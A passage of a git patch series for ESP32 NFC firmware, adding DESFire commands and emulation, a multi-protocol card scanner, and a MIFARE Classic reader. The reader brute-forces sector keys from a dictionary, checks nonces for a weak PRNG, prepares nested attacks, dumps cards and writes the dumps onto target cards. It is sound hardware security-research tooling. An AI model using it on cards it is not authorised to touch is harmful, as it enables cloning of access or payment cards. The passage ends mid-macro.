0xFF); + params[5] = (uint8_t)((length >> 8) & 0xFF); + params[6] = (uint8_t)((length >> 16) & 0xFF); + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_READ_DATA, + params, sizeof(params), + out, out_max, out_len, &sw); + if (err != HB_NFC_OK) return err; + return (sw == MF_DESFIRE_SW_OK) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t mf_desfire_write_data(mf_desfire_session_t* session, + uint8_t file_id, + uint32_t offset, + const uint8_t* data, + size_t data_len) +{ + if (!session || !data) return HB_NFC_ERR_PARAM; + /* Single-frame limit: 7-byte header + data must fit in the 294-byte APDU payload. */ + if (data_len > 256) return HB_NFC_ERR_PARAM; + uint8_t params[7 + 256]; + params[0] = file_id; + params[1] = (uint8_t)(offset & 0xFF); + params[2] = (uint8_t)((offset >> 8) & 0xFF); + params[3] = (uint8_t)((offset >> 16) & 0xFF); + params[4] = (uint8_t)(data_len & 0xFF); + params[5] = (uint8_t)((data_len >> 8) & 0xFF); + params[6] = (uint8_t)((data_len >> 16) & 0xFF); + memcpy(¶ms[7], data, data_len); + uint8_t rx[8]; + size_t rx_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_WRITE_DATA, + params, 7 + data_len, + rx, sizeof(rx), &rx_len, &sw); + if (err != HB_NFC_OK) return err; + return (sw == MF_DESFIRE_SW_OK) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t mf_desfire_commit_transaction(mf_desfire_session_t* session) +{ + if (!session) return HB_NFC_ERR_PARAM; + uint8_t rx[8]; + size_t rx_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_COMMIT_TRANSACTION, + NULL, 0, rx, sizeof(rx), &rx_len, &sw); + if (err != HB_NFC_OK) return err; + return (sw == MF_DESFIRE_SW_OK) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +hb_nfc_err_t mf_desfire_abort_transaction(mf_desfire_session_t* session) +{ + if (!session) return HB_NFC_ERR_PARAM; + uint8_t rx[8]; + size_t rx_len = 0; + uint16_t sw = 0; + hb_nfc_err_t err = mf_desfire_transceive_native(session, MF_DESFIRE_CMD_ABORT_TRANSACTION, + NULL, 0, rx, sizeof(rx), &rx_len, &sw); + if (err != HB_NFC_OK) return err; + return (sw == MF_DESFIRE_SW_OK) ? HB_NFC_OK : HB_NFC_ERR_PROTOCOL; +} + +#undef TAG diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire_emu.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire_emu.c new file mode 100644 index 00000000..ff890657 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_desfire_emu.c @@ -0,0 +1,130 @@ +/** + * @file mf_desfire_emu.c + * @brief Minimal MIFARE DESFire (native) APDU emulation. + * + * Implements: GET_VERSION (0x60) with 0xAF chaining, + * SELECT_APPLICATION (0x5A), GET_APPLICATION_IDS (0x6A), + * GET_KEY_SETTINGS (0x45). + */ +#include "mf_desfire_emu.h" + +#include + +#define DESFIRE_CLA 0x90 +#define DESFIRE_CMD_GET_VERSION 0x60 +#define DESFIRE_CMD_ADDITIONAL 0xAF +#define DESFIRE_CMD_SELECT_APP 0x5A +#define DESFIRE_CMD_GET_APP_IDS 0x6A +#define DESFIRE_CMD_GET_KEY_SET 0x45 + +#define DESFIRE_SW_OK 0x9100 +#define DESFIRE_SW_MORE 0x91AF +#define DESFIRE_SW_ERR 0x91AE + +static uint8_t s_ver_step = 0; +static uint8_t s_aid[3] = { 0x00, 0x00, 0x00 }; +static bool s_app_selected = false; + +/* Dummy UID and batch */ +static const uint8_t k_uid7[7] = { 0x04, 0xA1, 0xB2, 0xC3, 0xD4, 0xE5, 0xF6 }; +static const uint8_t k_batch7[7]= { 0x01, 0x02, 0x03, 0x04, 0x05, 0x12, 0x26 }; /* week=0x12, year=0x26 */ + +static void resp_with_sw(uint8_t* out, int* out_len, + const uint8_t* data, int data_len, uint16_t sw) +{ + int pos = 0; + if (data && data_len > 0) { + memcpy(&out[pos], data, (size_t)data_len); + pos += data_len; + } + out[pos++] = (uint8_t)((sw >> 8) & 0xFF); + out[pos++] = (uint8_t)(sw & 0xFF); + *out_len = pos; +} + +void mf_desfire_emu_reset(void) +{ + s_ver_step = 0; + s_aid[0] = s_aid[1] = s_aid[2] = 0x00; + s_app_selected = false; +} + +static void parse_lc(const uint8_t* apdu, int apdu_len, + const uint8_t** data, int* data_len) +{ + *data = NULL; + *data_len = 0; + if (apdu_len < 5) return; + uint8_t lc = apdu[4]; + if (apdu_len >= 5 + lc && lc > 0) { + *data = &apdu[5]; + *data_len = lc; + } +} + +bool mf_desfire_emu_handle_apdu(const uint8_t* apdu, int apdu_len, + uint8_t* out, int* out_len) +{ + if (!apdu || apdu_len < 2 || !out || !out_len) return false; + if (apdu[0] != DESFIRE_CLA) return false; + + const uint8_t* data = NULL; + int data_len = 0; + parse_lc(apdu, apdu_len, &data, &data_len); + + uint8_t cmd = apdu[1]; + switch (cmd) { + case DESFIRE_CMD_GET_VERSION: { + /* 1st frame: HW version */ + static const uint8_t ver_hw[7] = { 0x04, 0x01, 0x01, 0x01, 0x00, 0x1A, 0x05 }; + s_ver_step = 1; + resp_with_sw(out, out_len, ver_hw, sizeof(ver_hw), DESFIRE_SW_MORE); + return true; + } + case DESFIRE_CMD_ADDITIONAL: { + if (s_ver_step == 1) { + static const uint8_t ver_sw[7] = { 0x04, 0x01, 0x01, 0x01, 0x00, 0x1A, 0x05 }; + s_ver_step = 2; + resp_with_sw(out, out_len, ver_sw, sizeof(ver_sw), DESFIRE_SW_MORE); + return true; + } + if (s_ver_step == 2) { + s_ver_step = 3; + resp_with_sw(out, out_len, k_uid7, sizeof(k_uid7), DESFIRE_SW_MORE); + return true; + } + if (s_ver_step == 3) { + s_ver_step = 0; + resp_with_sw(out, out_len, k_batch7, sizeof(k_batch7), DESFIRE_SW_OK); + return true; + } + resp_with_sw(out, out_len, NULL, 0, DESFIRE_SW_ERR); + return true; + } + case DESFIRE_CMD_SELECT_APP: { + if (data_len == 3 && data) { + memcpy(s_aid, data, 3); + s_app_selected = true; + resp_with_sw(out, out_len, NULL, 0, DESFIRE_SW_OK); + } else { + resp_with_sw(out, out_len, NULL, 0, DESFIRE_SW_ERR); + } + return true; + } + case DESFIRE_CMD_GET_APP_IDS: { + /* Return empty list (PICC only) */ + resp_with_sw(out, out_len, NULL, 0, DESFIRE_SW_OK); + return true; + } + case DESFIRE_CMD_GET_KEY_SET: { + /* 2 bytes: key settings + max keys (dummy) */ + uint8_t ks[2] = { 0x0F, 0x10 }; + (void)s_app_selected; + resp_with_sw(out, out_len, ks, sizeof(ks), DESFIRE_SW_OK); + return true; + } + default: + resp_with_sw(out, out_len, NULL, 0, DESFIRE_SW_ERR); + return true; + } +} From f8b853bc97facad6e654444f1ec7d4501d946f28 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:17:59 -0300 Subject: [PATCH 43/61] feat(nfc): add card scanner application --- .../Applications/nfc/include/nfc_scanner.h | 30 +++++ .../components/Applications/nfc/nfc_scanner.c | 110 ++++++++++++++++++ 2 files changed, 140 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/include/nfc_scanner.h create mode 100644 firmware_p4/components/Applications/nfc/nfc_scanner.c diff --git a/firmware_p4/components/Applications/nfc/include/nfc_scanner.h b/firmware_p4/components/Applications/nfc/include/nfc_scanner.h new file mode 100644 index 00000000..1720c8f7 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/nfc_scanner.h @@ -0,0 +1,30 @@ +/** + * @file nfc_scanner.h + * @brief NFC Scanner auto-detect card technology (Phase 8). + * + * Probes NFC-A NFC-B NFC-F NFC-V in sequence. + * Reports detected protocol(s) via callback. + */ +#ifndef NFC_SCANNER_H +#define NFC_SCANNER_H + +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +#define NFC_SCANNER_MAX_PROTOCOLS 4 + +typedef struct { + hb_nfc_protocol_t protocols[NFC_SCANNER_MAX_PROTOCOLS]; + uint8_t count; +} nfc_scanner_event_t; + +typedef void (*nfc_scanner_cb_t)(nfc_scanner_event_t event, void* ctx); + +typedef struct nfc_scanner nfc_scanner_t; + +nfc_scanner_t* nfc_scanner_alloc(void); +void nfc_scanner_free(nfc_scanner_t* s); +hb_nfc_err_t nfc_scanner_start(nfc_scanner_t* s, nfc_scanner_cb_t cb, void* ctx); +void nfc_scanner_stop(nfc_scanner_t* s); + +#endif diff --git a/firmware_p4/components/Applications/nfc/nfc_scanner.c b/firmware_p4/components/Applications/nfc/nfc_scanner.c new file mode 100644 index 00000000..b7ec1452 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/nfc_scanner.c @@ -0,0 +1,110 @@ +#include "nfc_scanner.h" +#include "poller.h" +#include "nfc_card_info.h" +#include "iso14443b.h" +#include "felica.h" +#include "iso15693.h" +#include "nfc_poller.h" +#include +#include "esp_log.h" + +static const char* TAG = "nfc_scan"; + +struct nfc_scanner { + nfc_scanner_cb_t cb; + void* ctx; + bool running; +}; + +nfc_scanner_t* nfc_scanner_alloc(void) +{ + nfc_scanner_t* s = calloc(1, sizeof(nfc_scanner_t)); + return s; +} + +void nfc_scanner_free(nfc_scanner_t* s) +{ + if (s) { + nfc_scanner_stop(s); + free(s); + } +} + +hb_nfc_err_t nfc_scanner_start(nfc_scanner_t* s, nfc_scanner_cb_t cb, void* ctx) +{ + if (!s || !cb) return HB_NFC_ERR_PARAM; + s->cb = cb; + s->ctx = ctx; + s->running = true; + + nfc_scanner_event_t evt = { 0 }; + hb_nfc_err_t result = HB_NFC_ERR_NO_CARD; + + /* ── Step 1: NFC-A (ISO 14443-3A) ───────────────────────────────────── */ + nfc_iso14443a_data_t card_a = { 0 }; + if (iso14443a_poller_select(&card_a) == HB_NFC_OK) { + ESP_LOGI(TAG, "NFC-A found UID len=%u SAK=0x%02X", card_a.uid_len, card_a.sak); + evt.protocols[evt.count++] = HB_PROTO_ISO14443_3A; + card_type_info_t info = identify_card(card_a.sak, card_a.atqa); + if (info.is_mf_classic) evt.protocols[evt.count++] = HB_PROTO_MF_CLASSIC; + else if (info.is_mf_ultralight) evt.protocols[evt.count++] = HB_PROTO_MF_ULTRALIGHT; + else if (card_a.sak == 0x20) evt.protocols[evt.count++] = HB_PROTO_MF_PLUS; + else if (info.is_iso_dep) evt.protocols[evt.count++] = HB_PROTO_ISO14443_4A; + result = HB_NFC_OK; + goto done; + } + + /* ── Step 2: NFC-B (ISO 14443-3B) ───────────────────────────────────── */ + iso14443b_poller_init(); + { + nfc_iso14443b_data_t card_b = { 0 }; + if (iso14443b_reqb(0x00, 0x00, &card_b) == HB_NFC_OK) { + ESP_LOGI(TAG, "NFC-B found PUPI=%02X%02X%02X%02X", + card_b.pupi[0], card_b.pupi[1], card_b.pupi[2], card_b.pupi[3]); + evt.protocols[evt.count++] = HB_PROTO_ISO14443_3B; + evt.protocols[evt.count++] = HB_PROTO_ISO14443_4B; + result = HB_NFC_OK; + goto done; + } + } + + /* ── Step 3: NFC-F (FeliCa) ──────────────────────────────────────────── */ + felica_poller_init(); + { + felica_tag_t tag_f = { 0 }; + if (felica_sensf_req(FELICA_SC_COMMON, &tag_f) == HB_NFC_OK) { + ESP_LOGI(TAG, "NFC-F found IDm=%02X%02X%02X%02X...", + tag_f.idm[0], tag_f.idm[1], tag_f.idm[2], tag_f.idm[3]); + evt.protocols[evt.count++] = HB_PROTO_FELICA; + result = HB_NFC_OK; + goto done; + } + } + + /* ── Step 4: NFC-V (ISO 15693) ───────────────────────────────────────── */ + iso15693_poller_init(); + { + iso15693_tag_t tag_v = { 0 }; + if (iso15693_inventory(&tag_v) == HB_NFC_OK) { + ESP_LOGI(TAG, "NFC-V found UID=%02X%02X%02X%02X...", + tag_v.uid[0], tag_v.uid[1], tag_v.uid[2], tag_v.uid[3]); + evt.protocols[evt.count++] = HB_PROTO_ISO15693; + result = HB_NFC_OK; + goto done; + } + } + +done: + /* Restore NFC-A mode as default regardless of outcome. */ + nfc_poller_start(); + + s->running = false; + if (result == HB_NFC_OK) + cb(evt, ctx); + return result; +} + +void nfc_scanner_stop(nfc_scanner_t* s) +{ + if (s) s->running = false; +} From bc1678c7eaea1609533edb357a53869890ad7101 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:18:12 -0300 Subject: [PATCH 44/61] feat(nfc): add card reader application --- .../Applications/nfc/include/nfc_reader.h | 29 + .../components/Applications/nfc/nfc_reader.c | 1082 +++++++++++++++++ 2 files changed, 1111 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/include/nfc_reader.h create mode 100644 firmware_p4/components/Applications/nfc/nfc_reader.c diff --git a/firmware_p4/components/Applications/nfc/include/nfc_reader.h b/firmware_p4/components/Applications/nfc/include/nfc_reader.h new file mode 100644 index 00000000..603f243b --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/nfc_reader.h @@ -0,0 +1,29 @@ +/** + * @file nfc_reader.h + * @brief MIFARE Classic/Ultralight read helpers. + */ +#ifndef NFC_READER_H +#define NFC_READER_H + +#include "highboy_nfc_types.h" +#include "mf_classic_emu.h" + +extern mfc_emu_card_data_t s_emu_card; +extern bool s_emu_data_ready; + +void mf_classic_read_full(nfc_iso14443a_data_t* card); + +/** + * Write all sectors from s_emu_card back to a target card. + * Requires s_emu_data_ready == true (i.e. mf_classic_read_full completed). + * Uses the keys stored in s_emu_card for authentication. + * Data blocks only — trailer write is skipped unless write_trailers is true. + * WARNING: writing trailers with wrong access bits can permanently lock sectors. + */ +void mf_classic_write_all(nfc_iso14443a_data_t* target, bool write_trailers); + +void mfp_probe_and_dump(nfc_iso14443a_data_t* card); +void mful_dump_card(nfc_iso14443a_data_t* card); +void t4t_dump_ndef(nfc_iso14443a_data_t* card); + +#endif diff --git a/firmware_p4/components/Applications/nfc/nfc_reader.c b/firmware_p4/components/Applications/nfc/nfc_reader.c new file mode 100644 index 00000000..dcc9a419 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/nfc_reader.c @@ -0,0 +1,1082 @@ +#include "nfc_reader.h" +#include +#include +#include "esp_log.h" +#include "nfc_common.h" +#include "poller.h" +#include "iso_dep.h" +#include "t4t.h" +#include "mf_classic.h" +#include "mf_classic_emu.h" +#include "mf_classic_writer.h" +#include "mf_plus.h" +#include "mf_ultralight.h" +#include "nfc_card_info.h" +#include "mf_key_dict.h" +#include "mf_key_cache.h" +#include "mf_nested.h" +#include "mf_known_cards.h" +#include "nfc_store.h" + +static const char* TAG = "hb_main"; + +mfc_emu_card_data_t s_emu_card = { 0 }; +bool s_emu_data_ready = false; + + +static void get_access_bits_for_block(const uint8_t trailer[16], int blk, + uint8_t* c1, uint8_t* c2, uint8_t* c3) +{ + uint8_t b7 = trailer[7], b8 = trailer[8]; + *c1 = (b7 >> (4 + blk)) & 1U; + *c2 = (b8 >> blk) & 1U; + *c3 = (b8 >> (4 + blk)) & 1U; +} + +static const char* access_cond_data_str(uint8_t c1, uint8_t c2, uint8_t c3) +{ + uint8_t bits = (c1 << 2) | (c2 << 1) | c3; + switch (bits) { + case 0: return "rd:AB wr:AB inc:AB dec:AB"; + case 1: return "rd:AB wr:-- inc:-- dec:AB"; + case 2: return "rd:AB wr:-- inc:-- dec:--"; + case 3: return "rd:B wr:B inc:-- dec:--"; + case 4: return "rd:AB wr:B inc:-- dec:--"; + case 5: return "rd:B wr:-- inc:-- dec:--"; + case 6: return "rd:AB wr:B inc:B dec:AB"; + case 7: return "rd:-- wr:-- inc:-- dec:--"; + default: return "FAIL"; + } +} + +static const char* access_cond_trailer_str(uint8_t c1, uint8_t c2, uint8_t c3) +{ + uint8_t bits = (c1 << 2) | (c2 << 1) | c3; + switch (bits) { + case 0: return "KeyA:wr_A AC:rd_A KeyB:rd_A/wr_A"; + case 1: return "KeyA:wr_A AC:rd_A/wr_A KeyB:rd_A/wr_A"; + case 2: return "KeyA:-- AC:rd_A KeyB:rd_A"; + case 3: return "KeyA:wr_B AC:rd_AB/wr_B KeyB:wr_B"; + case 4: return "KeyA:wr_B AC:rd_AB KeyB:wr_B"; + case 5: return "KeyA:-- AC:rd_AB/wr_B KeyB:--"; + case 6: return "KeyA:-- AC:rd_AB KeyB:--"; + case 7: return "KeyA:-- AC:rd_AB KeyB:--"; + default: return "FAIL"; + } +} + +/** Check if Key B is readable from trailer given access bits for block 3 */ +static bool is_key_b_readable(uint8_t c1, uint8_t c2, uint8_t c3) +{ + uint8_t bits = (c1 << 2) | (c2 << 1) | c3; + return (bits == 0 || bits == 1 || bits == 2); +} + +static bool verify_access_bits_parity(const uint8_t trailer[16]) +{ + uint8_t b6 = trailer[6], b7 = trailer[7], b8 = trailer[8]; + for (int blk = 0; blk < 4; blk++) { + uint8_t c1 = (b7 >> (4 + blk)) & 1U; + uint8_t c1_inv = (~b6 >> blk) & 1U; + uint8_t c2 = (b8 >> blk) & 1U; + uint8_t c2_inv = (~b6 >> (4 + blk)) & 1U; + uint8_t c3 = (b8 >> (4 + blk)) & 1U; + uint8_t c3_inv = (~b7 >> blk) & 1U; + if (c1 != c1_inv || c2 != c2_inv || c3 != c3_inv) return false; + } + return true; +} + +static bool is_value_block(const uint8_t data[16]) +{ + if (data[0] != data[8] || data[1] != data[9] || + data[2] != data[10] || data[3] != data[11]) return false; + if ((uint8_t)(data[0] ^ 0xFF) != data[4] || + (uint8_t)(data[1] ^ 0xFF) != data[5] || + (uint8_t)(data[2] ^ 0xFF) != data[6] || + (uint8_t)(data[3] ^ 0xFF) != data[7]) return false; + if (data[12] != data[14]) return false; + if ((uint8_t)(data[12] ^ 0xFF) != data[13]) return false; + if ((uint8_t)(data[12] ^ 0xFF) != data[15]) return false; + return true; +} + +static int32_t decode_value_block(const uint8_t data[16]) +{ + return (int32_t)((uint32_t)data[0] | ((uint32_t)data[1] << 8) | + ((uint32_t)data[2] << 16) | ((uint32_t)data[3] << 24)); +} + +static bool is_block_empty(const uint8_t data[16]) +{ + for (int i = 0; i < 16; i++) { + if (data[i] != 0x00) return false; + } + return true; +} + +static bool has_ascii_content(const uint8_t data[16]) +{ + int printable = 0; + for (int i = 0; i < 16; i++) { + if (data[i] >= 0x20 && data[i] <= 0x7E) printable++; + } + return printable >= 8; +} + +static void hex_str(const uint8_t* data, size_t len, char* buf, size_t buf_sz) +{ + size_t pos = 0; + for (size_t i = 0; i < len && pos + 3 < buf_sz; i++) { + pos += (size_t)snprintf(buf + pos, buf_sz - pos, + "%02X%s", data[i], i + 1 < len ? " " : ""); + } +} + +static void hex_str_key(const uint8_t* data, char* buf, size_t buf_sz) +{ + snprintf(buf, buf_sz, "%02X %02X %02X %02X %02X %02X", + data[0], data[1], data[2], data[3], data[4], data[5]); +} + +static void ascii_str(const uint8_t* data, size_t len, char* buf, size_t buf_sz) +{ + size_t i; + for (i = 0; i < len && i + 1 < buf_sz; i++) { + buf[i] = (data[i] >= 0x20 && data[i] <= 0x7E) ? (char)data[i] : '.'; + } + buf[i] = '\0'; +} + +static void analyze_manufacturer_block(const uint8_t blk0[16], const nfc_iso14443a_data_t* card) +{ + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "Manufacturer Block Analysis"); + + if (card->uid_len == 4) { + uint8_t bcc = blk0[0] ^ blk0[1] ^ blk0[2] ^ blk0[3]; + bool bcc_ok = (bcc == blk0[4]); + ESP_LOGI(TAG, "UID: %02X %02X %02X %02X BCC: %02X %s", + blk0[0], blk0[1], blk0[2], blk0[3], blk0[4], + bcc_ok ? "OK" : "MISMATCH!"); + if (!bcc_ok) { + ESP_LOGW(TAG, "BCC should be %02X; card may be clone/magic!", bcc); + } + } + + ESP_LOGI(TAG, "SAK stored: 0x%02X ATQA stored: %02X %02X", + blk0[5], blk0[6], blk0[7]); + + const char* mfr = get_manufacturer_name(blk0[0]); + if (mfr) { + ESP_LOGI(TAG, "Manufacturer: %s (ID 0x%02X)", mfr, blk0[0]); + } else { + ESP_LOGI(TAG, "Manufacturer: Unknown (ID 0x%02X)", blk0[0]); + } + + if (blk0[0] == 0xE0 || blk0[0] == 0x00 || blk0[0] == 0xFF) { + ESP_LOGW(TAG, "UID byte 0 (0x%02X) is not a registered NXP manufacturer", blk0[0]); + ESP_LOGW(TAG, "Possible card clone (Gen2/CUID or editable UID)"); + } + + char mfr_data[40]; + hex_str(&blk0[8], 8, mfr_data, sizeof(mfr_data)); + ESP_LOGI(TAG, "MFR data: %s", mfr_data); + + bool nxp_pattern = (blk0[0] == 0x04); + if (nxp_pattern) { + ESP_LOGI(TAG, "NXP manufacturer confirmed; card likely original"); + } + + ESP_LOGI(TAG, ""); +} + +static void check_mad(const uint8_t blk1[16], const uint8_t blk2[16], bool key_was_mad) +{ + uint8_t mad_version = blk1[1] >> 6; + bool has_mad = (blk1[0] != 0x00 || blk1[1] != 0x00); + + if (key_was_mad || has_mad) { + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "MAD (MIFARE Application Directory)"); + + if (key_was_mad) { + ESP_LOGI(TAG, "Key A = MAD Key (A0 A1 A2 A3 A4 A5)"); + } + + ESP_LOGI(TAG, "MAD CRC: 0x%02X", blk1[0]); + ESP_LOGI(TAG, "MAD Info: 0x%02X (version %d)", blk1[1], mad_version); + + ESP_LOGI(TAG, "Sector AIDs:"); + for (int s = 1; s <= 7; s++) { + uint16_t aid = (uint16_t)blk1[s * 2] | ((uint16_t)blk1[s * 2 + 1] << 8); + if (aid != 0x0000) { + const char* aid_name = ""; + if (aid == 0x0003) aid_name = " (NDEF)"; + else if (aid == 0x0001) aid_name = " (Defect)"; + else if (aid == 0x0004) aid_name = " (Card Holder)"; + ESP_LOGI(TAG, "Sector %02d AID 0x%04X%s", s, aid, aid_name); + } + } + for (int s = 8; s <= 15; s++) { + int idx = (s - 8) * 2; + uint16_t aid = (uint16_t)blk2[idx] | ((uint16_t)blk2[idx + 1] << 8); + if (aid != 0x0000) { + const char* aid_name = ""; + if (aid == 0x0003) aid_name = " (NDEF)"; + ESP_LOGI(TAG, "Sector %02d AID 0x%04X%s", s, aid, aid_name); + } + } + + bool all_zero = true; + for (int i = 2; i < 16; i++) { if (blk1[i]) all_zero = false; } + for (int i = 0; i < 16; i++) { if (blk2[i]) all_zero = false; } + if (all_zero) { + ESP_LOGI(TAG, "(no registered applications)"); + } + + ESP_LOGI(TAG, ""); + } +} + +typedef struct { + uint32_t nonces[40]; + int count; + bool all_same; + bool weak_prng; +} prng_analysis_t; + +static prng_analysis_t s_prng = { 0 }; + +static void prng_record_nonce(int sector, uint32_t nt) +{ + if (sector < 40) { + s_prng.nonces[sector] = nt; + s_prng.count++; + } +} + +static void prng_analyze(void) +{ + if (s_prng.count < 2) return; + + s_prng.all_same = true; + int distinct = 1; + for (int i = 1; i < 40 && s_prng.nonces[i] != 0; i++) { + if (s_prng.nonces[i] != s_prng.nonces[0]) { + s_prng.all_same = false; + } + + bool found = false; + for (int j = 0; j < i; j++) { + if (s_prng.nonces[j] == s_prng.nonces[i]) { found = true; break; } + } + if (!found) distinct++; + } + + if (s_prng.count > 4 && distinct <= 2) { + s_prng.weak_prng = true; + } +} + +typedef struct { + bool key_a_found; + bool key_b_found; + uint8_t key_a[6]; + uint8_t key_b[6]; + bool blocks_read[16]; + uint8_t block_data[16][16]; + int blocks_in_sector; + int first_block; + int key_a_dict_idx; +} sector_result_t; + +static bool try_auth_key(nfc_iso14443a_data_t* card, uint8_t block, + mf_key_type_t key_type, const mf_classic_key_t* key) +{ + mf_classic_reset_auth(); + hb_nfc_err_t err = iso14443a_poller_reselect(card); + if (err != HB_NFC_OK) return false; + + err = mf_classic_auth(block, key_type, key, card->uid); + return (err == HB_NFC_OK); +} + +static bool try_key_bytes(nfc_iso14443a_data_t* card, uint8_t block, + mf_key_type_t key_type, const uint8_t key_bytes[6]) +{ + mf_classic_key_t k; + memcpy(k.data, key_bytes, 6); + return try_auth_key(card, block, key_type, &k); +} + +void mf_classic_read_full(nfc_iso14443a_data_t* card) +{ + mf_classic_type_t type = mf_classic_get_type(card->sak); + int nsect = mf_classic_get_sector_count(type); + + mfc_emu_card_data_init(&s_emu_card, card, type); + s_emu_data_ready = false; + + const char* type_str = "1K (1024 bytes / 16 sectors)"; + int total_mem = 1024; + if (type == MF_CLASSIC_MINI) { type_str = "Mini (320 bytes / 5 sectors)"; total_mem = 320; } + else if (type == MF_CLASSIC_4K) { type_str = "4K (4096 bytes / 40 sectors)"; total_mem = 4096; } + + const mf_known_card_t* known = mf_known_cards_match( + card->sak, card->atqa, card->uid, card->uid_len); + + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "MIFARE Classic %s", type_str); + ESP_LOGI(TAG, "Memory: %d bytes useful", total_mem); + if (known) { + ESP_LOGI(TAG, "Card ID: %s", known->name); + ESP_LOGI(TAG, " %s", known->hint); + } + ESP_LOGI(TAG, ""); + + int sectors_read = 0; + int sectors_partial = 0; + int sectors_failed = 0; + int total_blocks_read = 0; + int total_blocks = 0; + int keys_a_found = 0; + int keys_b_found = 0; + int data_blocks_used = 0; + + uint8_t sect0_blk[4][16]; + bool sect0_read = false; + (void)sect0_read; + + int dict_count = mf_key_dict_count(); + + /* Track which sectors need nested attack (key not found by dict/cache) */ + bool sector_key_a_failed[40] = { 0 }; + bool sector_key_b_failed[40] = { 0 }; + + /* Track first known sector+key for use as nested attack source */ + int nested_src_sector = -1; + mf_classic_key_t nested_src_key; + mf_key_type_t nested_src_type = MF_KEY_A; + + static sector_result_t results[40]; + memset(results, 0, sizeof(results)); + + for (int sect = 0; sect < nsect; sect++) { + sector_result_t* res = &results[sect]; + res->blocks_in_sector = (sect < 32) ? 4 : 16; + res->first_block = (sect < 32) ? (sect * 4) : (128 + (sect - 32) * 16); + int trailer_block = res->first_block + res->blocks_in_sector - 1; + res->key_a_dict_idx = -1; + total_blocks += res->blocks_in_sector; + + ESP_LOGI(TAG, "Sector %02d [block %03d..%03d]", + sect, res->first_block, trailer_block); + + /* --- Key A: try cache first, then dict --- */ + uint8_t cached_key[6]; + if (mf_key_cache_lookup(card->uid, card->uid_len, sect, MF_KEY_A, cached_key)) { + if (try_key_bytes(card, (uint8_t)res->first_block, MF_KEY_A, cached_key)) { + res->key_a_found = true; + res->key_a_dict_idx = 0; + memcpy(res->key_a, cached_key, 6); + keys_a_found++; + memcpy(s_emu_card.keys[sect].key_a, cached_key, 6); + s_emu_card.keys[sect].key_a_known = true; + prng_record_nonce(sect, mf_classic_get_last_nt()); + } + } + + if (!res->key_a_found) { + /* Priority: known-card hint keys (smaller set, faster) */ + if (known && known->hint_keys) { + for (int k = 0; k < known->hint_key_count && !res->key_a_found; k++) { + if (try_key_bytes(card, (uint8_t)res->first_block, MF_KEY_A, + known->hint_keys[k])) { + res->key_a_found = true; + res->key_a_dict_idx = 0; + memcpy(res->key_a, known->hint_keys[k], 6); + keys_a_found++; + memcpy(s_emu_card.keys[sect].key_a, known->hint_keys[k], 6); + s_emu_card.keys[sect].key_a_known = true; + prng_record_nonce(sect, mf_classic_get_last_nt()); + mf_key_cache_store(card->uid, card->uid_len, sect, nsect, + MF_KEY_A, known->hint_keys[k]); + } + } + } + /* Fallback: full dictionary */ + for (int k = 0; k < dict_count && !res->key_a_found; k++) { + uint8_t key_bytes[6]; + mf_key_dict_get(k, key_bytes); + if (known && known->hint_keys) { + /* Skip keys already tried in the hint pass */ + bool already = false; + for (int h = 0; h < known->hint_key_count; h++) { + if (memcmp(key_bytes, known->hint_keys[h], 6) == 0) { + already = true; break; + } + } + if (already) continue; + } + if (try_key_bytes(card, (uint8_t)res->first_block, MF_KEY_A, key_bytes)) { + res->key_a_found = true; + res->key_a_dict_idx = k; + memcpy(res->key_a, key_bytes, 6); + keys_a_found++; + memcpy(s_emu_card.keys[sect].key_a, key_bytes, 6); + s_emu_card.keys[sect].key_a_known = true; + prng_record_nonce(sect, mf_classic_get_last_nt()); + mf_key_cache_store(card->uid, card->uid_len, sect, nsect, + MF_KEY_A, key_bytes); + } + } + } + + if (!res->key_a_found) { + sector_key_a_failed[sect] = true; + } else if (nested_src_sector < 0) { + nested_src_sector = sect; + memcpy(nested_src_key.data, res->key_a, 6); + nested_src_type = MF_KEY_A; + } + + /* --- Read blocks with Key A --- */ + if (res->key_a_found) { + for (int b = 0; b < res->blocks_in_sector; b++) { + hb_nfc_err_t err = mf_classic_read_block( + (uint8_t)(res->first_block + b), res->block_data[b]); + if (err == HB_NFC_OK) { + res->blocks_read[b] = true; + total_blocks_read++; + memcpy(s_emu_card.blocks[res->first_block + b], + res->block_data[b], 16); + } + } + } + + bool all_read = true; + for (int b = 0; b < res->blocks_in_sector; b++) { + if (!res->blocks_read[b]) { all_read = false; break; } + } + + /* --- Key B: try cache first, then dict --- */ + if (mf_key_cache_lookup(card->uid, card->uid_len, sect, MF_KEY_B, cached_key)) { + if (try_key_bytes(card, (uint8_t)res->first_block, MF_KEY_B, cached_key)) { + res->key_b_found = true; + memcpy(res->key_b, cached_key, 6); + keys_b_found++; + memcpy(s_emu_card.keys[sect].key_b, cached_key, 6); + s_emu_card.keys[sect].key_b_known = true; + if (nested_src_sector < 0) { + nested_src_sector = sect; + memcpy(nested_src_key.data, cached_key, 6); + nested_src_type = MF_KEY_B; + } + } + } + + if (!res->key_b_found) { + /* Helper macro: after finding Key B, read remaining blocks */ +#define FOUND_KEY_B(kb) \ + do { \ + 